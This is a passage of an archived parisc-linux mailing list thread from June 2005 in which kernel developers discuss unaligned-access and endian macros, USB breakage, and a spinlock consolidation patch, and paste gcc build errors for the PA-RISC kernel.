	by free.linux.hp.com (Postfix) with ESMTP id 5CACD7D668;
	Sat,  4 Jun 2005 04:31:15 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 891957D65F
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 04:31:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 11709-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 04:31:13 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 212837D65E
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 04:31:13 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B85354940FC; Sat,  4 Jun 2005 04:31:12 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id 429B74940FB;
	Sat,  4 Jun 2005 04:31:12 -0600 (MDT)
Original-Received: from [83.134.224.71] (helo=[83.134.224.71])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DeVvq-0000Pw-JI; Sat, 04 Jun 2005 12:31:10 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050604072510.GD8230@colo.lackof.org>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: r+fTYpcdeSEkN76WZHQhaXN1IGRvb0CZ
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25123



Grant Grundler wrote:
> On Fri, Jun 03, 2005 at 09:25:18PM -0400, John David Anglin wrote:
> 
>>>>It seems that this problem has been around for some time.
>>>
>>>I didn't check to see how long this code has been around.
>>
>>It's in 2.6.10-pa3.  Since the USB mouse and keyboard work in it,
>>some other change must have been involved in the 2.6.12 breakage.
> 
> 
> Yes, Kyle tracked it down to parisc switching from a parisc asm
> definition of get_unaligned() to using the generic ones.
> Ie we moved from avoiding kernel traps to exercising them.
> But 64-bit kernel worked fine with USB.
> And on 32-bit kernels le64() loads degenerate into two 32-bit
> loads. Ie the trap handler is still only dealing with 32-bit
> misaligned accesses like it would with this patch. So I don't
> think the kernel trap support is the problem.
> 
> Regardless, the two functions are badly written and could
> be alot clearer.
> 
Thanks for feedback ;-)

That said, I also noticed a big difference of behaviour when I select or not the CONFIG_PDC_STABLE option or not:
	o when selected my stress test make panicing my b2k in 5 min showing a cash_grow() pb (as reported before)
	o when not selected the system hang as decribe by jda.

> 
>>As an aside, 2.6.10-pa3 doesn't seem to have the stability problems
Interesting, I will check. Thanks

>>that I saw 2.6.11-pa4.  It pretty much seems as stable as 2.6.8.1-pa11
>>on my c3750.  There was hang in the java testsuite (PR218) in one of
>>two gcc builds and check.  Otherwise, the test results were identical.
> 
> 
> Ok. Can you want to try the older version of include/asm-parisc/unaligned.h?
> 
Interesting, I will too
> 
>>>USB keyboard and mouse work with 2.6.12-rc5 on parisc.
>>
>>Great!
> 
> 
> Well, I haven't committed it to cvs.parisc-linux.org.
> I'm waiting for the USB guru's to comment.
> 
Many thanks,
	Joel
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [linux-usb-devel] Re: [parisc-linux] [PATCH] usb/input/hid-core.c
	extract() brain damage
Date: Sat, 4 Jun 2005 11:43:08 -0600
Lines: 47
Approved: news@gmane.org
Message-ID: <20050604174308.GA19823__45977.6966752999$1416624541$gmane$org@colo.lackof.org>
References: <20050604072510.GD8230@colo.lackof.org>
	<Pine.LNX.4.44L0.0506041057560.5133-100000@iolanthe.rowland.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624541 26791 80.91.229.3 (22 Nov 2014 02:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:01 +0000 (UTC)
Cc: linux-usb-devel@lists.sourceforge.net,
 parisc-linux@parisc-linux.org
To: Alan Stern <stern@rowland.harvard.edu>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 17:39:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx003) with SMTP; 04 Jun 2005 19:39:42 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DEAAC7D680;
	Sat,  4 Jun 2005 11:39:39 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15405-07; Sat, 4 Jun 2005 11:39:39 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E21577D681;
	Sat,  4 Jun 2005 11:39:38 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 7DE447D67D
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 11:39:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15405-04 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 11:39:36 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 13D017D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 11:39:36 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id BE54F495AE5; Sat,  4 Jun 2005 11:39:35 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 7CA71495AE3
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Jun 2005 11:39:35 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id D8B0A298056;
	Sat,  4 Jun 2005 11:43:09 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21181-08; Sat, 4 Jun 2005 11:43:08 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 6497329803C; Sat,  4 Jun 2005 11:43:08 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.44L0.0506041057560.5133-100000@iolanthe.rowland.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: CILTYqAQeSEkcb6WZHQhaXN1IGRvb0CY
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25124

On Sat, Jun 04, 2005 at 11:06:52AM -0400, Alan Stern wrote:
> In spite of the total overall number of changes required, wouldn't it be 
> much simpler to have a suite of routines (inlines or macros) like:
> 
> 	get_16, put_16, get_le16, put_le16, get_be16, put_be16
> 	get_32, put_32, get_le32, put_le32, get_be32, put_be32
> 	get_64, put_64, get_le64, put_le64, get_be64, put_be64
> 
> 	in short, {get|put}_{|le|be}{16|32|64}

Sorry, no. The architectures that trap on misaligned accesses have to
handle that in the kernel. And even though the implementations
get simpler, a plethoria of interfaces just clutters up the general
device driver API. For that reason alone I wouldn't want it.

The endian conversion (swap) macros are PITA already.
I'll argue the swap API should be simplified to four macros:
	cpu_to_le(x), cpu_to_be(x), le_to_cpu(x), be_to_cpu(x)

and force the caller to cast to the right size. switch(sizeof(x)) would
then select the right arch specific variant. I'll figure out how to
pitch this to linux-arch...and then see how far it gets batted back. :^)

> for native, little-endian, and big-endian unaligned accesses?  The generic 
> definitions are extremely simple and architecture-specific headers could 
> easily provide optimized versions.
> 
> I realize this doesn't fit in very well with the current state of the API, 
> but IMHO it would be a big improvement.

Not really. davem is right that it would clutter up certain parts
of the code (e.g. networking stack).
Don't forget all the above is a NOP on 90% (x86) of the computers.

I'm annoyed that certain performance sensitive paths (e.g. TCP/IP) don't
use macros to access unaligned data. It affects my work (ia64)
and pet (parisc) architectures. But that's how it is and I don't
see it changing anytime in the near future.

thanks for thinking about it,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [mingo@elte.hu: [patch] spinlock consolidation, v2]
Date: Sat, 4 Jun 2005 12:03:02 -0600
Lines: 20
Approved: news@gmane.org
Message-ID: <20050604180302.GB19823@colo.lackof.org>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
	<42A19697.8010501@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624541 26793 80.91.229.3 (22 Nov 2014 02:49:01 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:01 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 17:59:35 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx016) with SMTP; 04 Jun 2005 19:59:35 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 146347D681;
	Sat,  4 Jun 2005 11:59:32 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15619-09; Sat, 4 Jun 2005 11:59:31 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70A3E7D685;
	Sat,  4 Jun 2005 11:59:31 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2F45A7D680
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 11:59:29 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 15758-02 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 11:59:28 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BA13E7D679
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 11:59:28 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 77166496052; Sat,  4 Jun 2005 11:59:28 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by palinux.hppa (Postfix) with ESMTP id 2F8C3496051
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Jun 2005 11:59:28 -0600 (MDT)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 34ABF298056;
	Sat,  4 Jun 2005 12:03:03 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 23303-08; Sat, 4 Jun 2005 12:03:02 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id DE5CC29803C; Sat,  4 Jun 2005 12:03:02 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <42A19697.8010501@tiscali.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: UInTYmEneSEkYr6WZHQhaXN1IGRvb4CW
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25125

On Sat, Jun 04, 2005 at 11:55:03AM +0000, Joel Soete wrote:
...
> Any way it failled to compile very early with following messages:
...
> include2/asm/system.h:174: error: syntax error before "pa_tlb_lock"

It's because of the obscene parisc interdependence between
system.h, bitops.h, and spinlock.h.
Mingo's patch will help break up that a bit better.

I'm working on fixing that up. Two of the commits I made
last night are small steps in that direction.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:38 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [mingo@elte.hu: [patch] spinlock consolidation, v2]
Date: Sat, 04 Jun 2005 11:55:03 +0000
Lines: 176
Approved: news@gmane.org
Message-ID: <42A19697.8010501@tiscali.be>
References: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii;
  format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624542 26797 80.91.229.3 (22 Nov 2014 02:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:49:02 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: - Wed Jul 02 21:28:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 1000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 04 Jun 2005 11:55:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx018) with SMTP; 04 Jun 2005 13:55:16 +0200
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 8D6957D679;
	Sat,  4 Jun 2005 05:55:13 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12378-05; Sat, 4 Jun 2005 05:55:13 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80A4A7D675;
	Sat,  4 Jun 2005 05:55:12 -0600 (MDT)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 653107D668
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 05:55:10 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 12284-09 for <parisc-linux@lists.parisc-linux.org>;
	Sat, 4 Jun 2005 05:55:09 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E44EA7D664
	for <parisc-linux@lists.parisc-linux.org>;
	Sat,  4 Jun 2005 05:55:09 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 71AD549503E; Sat,  4 Jun 2005 05:55:09 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from spoolo1.tiscali.be (spoolo1.tiscali.be [62.235.13.172])
	by palinux.hppa (Postfix) with ESMTP id C920E49503C
	for <parisc-linux@parisc-linux.org>;
	Sat,  4 Jun 2005 05:55:08 -0600 (MDT)
Original-Received: from [83.134.224.71] (helo=[83.134.224.71])
	by spoolo1.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1DeXF2-0004SR-OL; Sat, 04 Jun 2005 13:55:05 +0200
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.7.8) Gecko/20050513 Debian/1.7.8-1
X-Accept-Language: en
In-Reply-To: <20050603173132.GX14929@parcelfarce.linux.theplanet.co.uk>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 8/PTYhV3eSEkYL6WZHQhaXN1IGRvb0CS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:25126

Hello Matthew, Mingo,

Matthew Wilcox wrote:
> Anyone have time to test this out?
> 
> ----- Forwarded message from Ingo Molnar <mingo@elte.hu> -----
> 
> Date:	Fri, 3 Jun 2005 17:40:29 +0200
> From:	Ingo Molnar <mingo@elte.hu>
> Subject: [patch] spinlock consolidation, v2
> 
> the latest version of the spinlock consolidation patch can be found at:
> 
>   http://redhat.com/~mingo/spinlock-patches/consolidate-spinlocks.patch
> 
> the patch is now complete in the sense that it does everything i wanted 
> it to do. If you have any other suggestions (or i have missed to 
> incorporate an earlier suggestion of yours), please yell.
> 
I applied against one of our latest 2.6.12-rc5-pa1 without pb :-)

Any way it failled to compile very early with following messages:
   gcc -Wp,-MD,arch/parisc/kernel/.asm-offsets.s.d  -nostdinc -isystem /usr/lib/gcc-lib/hppa-linux/3.3.5/include -D__KERNEL__ 
-Iinclude -Iinclude2 -I/usr/src/linux-2.6.12-rc5-pa1-050601/include -I/usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel 
-Iarch/parisc/kernel -Wall -Wstrict-prototypes -Wno-trigraphs -fno-strict-aliasing -fno-common -ffreestanding -O2 
-fomit-frame-pointer -pipe -mno-space-regs -mfast-indirect-calls -ffunction-sections -march=1.1 -mschedule=7200 
-DKBUILD_BASENAME=asm_offsets -DKBUILD_MODNAME=asm_offsets -S -o arch/parisc/kernel/asm-offsets.s 
/usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c
In file included from include2/asm/bitops.h:5,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock.h:51,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/system.h:174: error: syntax error before "pa_tlb_lock"
include2/asm/system.h:174: warning: type defaults to `int' in declaration of `pa_tlb_lock'
include2/asm/system.h:174: warning: data definition has no type or storage class
In file included from include2/asm/atomic.h:17,
                  from include2/asm/bitops.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock.h:51,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/spinlock.h:11: error: syntax error before '*' token
include2/asm/spinlock.h:12: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_spin_is_locked':
include2/asm/spinlock.h:13: error: `x' undeclared (first use in this function)
include2/asm/spinlock.h:13: error: (Each undeclared identifier is reported only once
include2/asm/spinlock.h:13: error: for each function it appears in.)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:21: error: syntax error before '*' token
include2/asm/spinlock.h:22: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_spin_lock':
include2/asm/spinlock.h:26: error: `x' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:32: error: syntax error before '*' token
include2/asm/spinlock.h:33: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_spin_unlock':
include2/asm/spinlock.h:36: error: `x' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:41: error: syntax error before '*' token
include2/asm/spinlock.h:42: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_spin_trylock':
include2/asm/spinlock.h:47: error: `x' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:64: error: syntax error before '*' token
include2/asm/spinlock.h:65: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_read_lock':
include2/asm/spinlock.h:68: error: `rw' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:76: error: syntax error before '*' token
include2/asm/spinlock.h:77: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_read_unlock':
include2/asm/spinlock.h:80: error: `rw' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:97: error: syntax error before '*' token
include2/asm/spinlock.h:98: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_write_lock':
include2/asm/spinlock.h:100: error: `rw' undeclared (first use in this function)
include2/asm/spinlock.h:107: warning: implicit declaration of function `cpu_relax'
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:118: error: syntax error before '*' token
include2/asm/spinlock.h:119: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_write_unlock':
include2/asm/spinlock.h:120: error: `rw' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:124: error: syntax error before '*' token
include2/asm/spinlock.h:125: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_write_trylock':
include2/asm/spinlock.h:126: error: `rw' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:139: error: syntax error before '*' token
include2/asm/spinlock.h:140: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_is_read_locked':
include2/asm/spinlock.h:141: error: `rw' undeclared (first use in this function)
include2/asm/spinlock.h: At top level:
include2/asm/spinlock.h:144: error: syntax error before '*' token
include2/asm/spinlock.h:145: warning: function declaration isn't a prototype
include2/asm/spinlock.h: In function `__raw_is_write_locked':
include2/asm/spinlock.h:146: error: `rw' undeclared (first use in this function)
In file included from include2/asm/bitops.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/bitops.h:77,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/thread_info.h:20,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/spinlock.h:51,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/capability.h:45,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/include/linux/sched.h:7,
                  from /usr/src/linux-2.6.12-rc5-pa1-050601/arch/parisc/kernel/asm-offsets.c:31:
include2/asm/atomic.h: At top level:
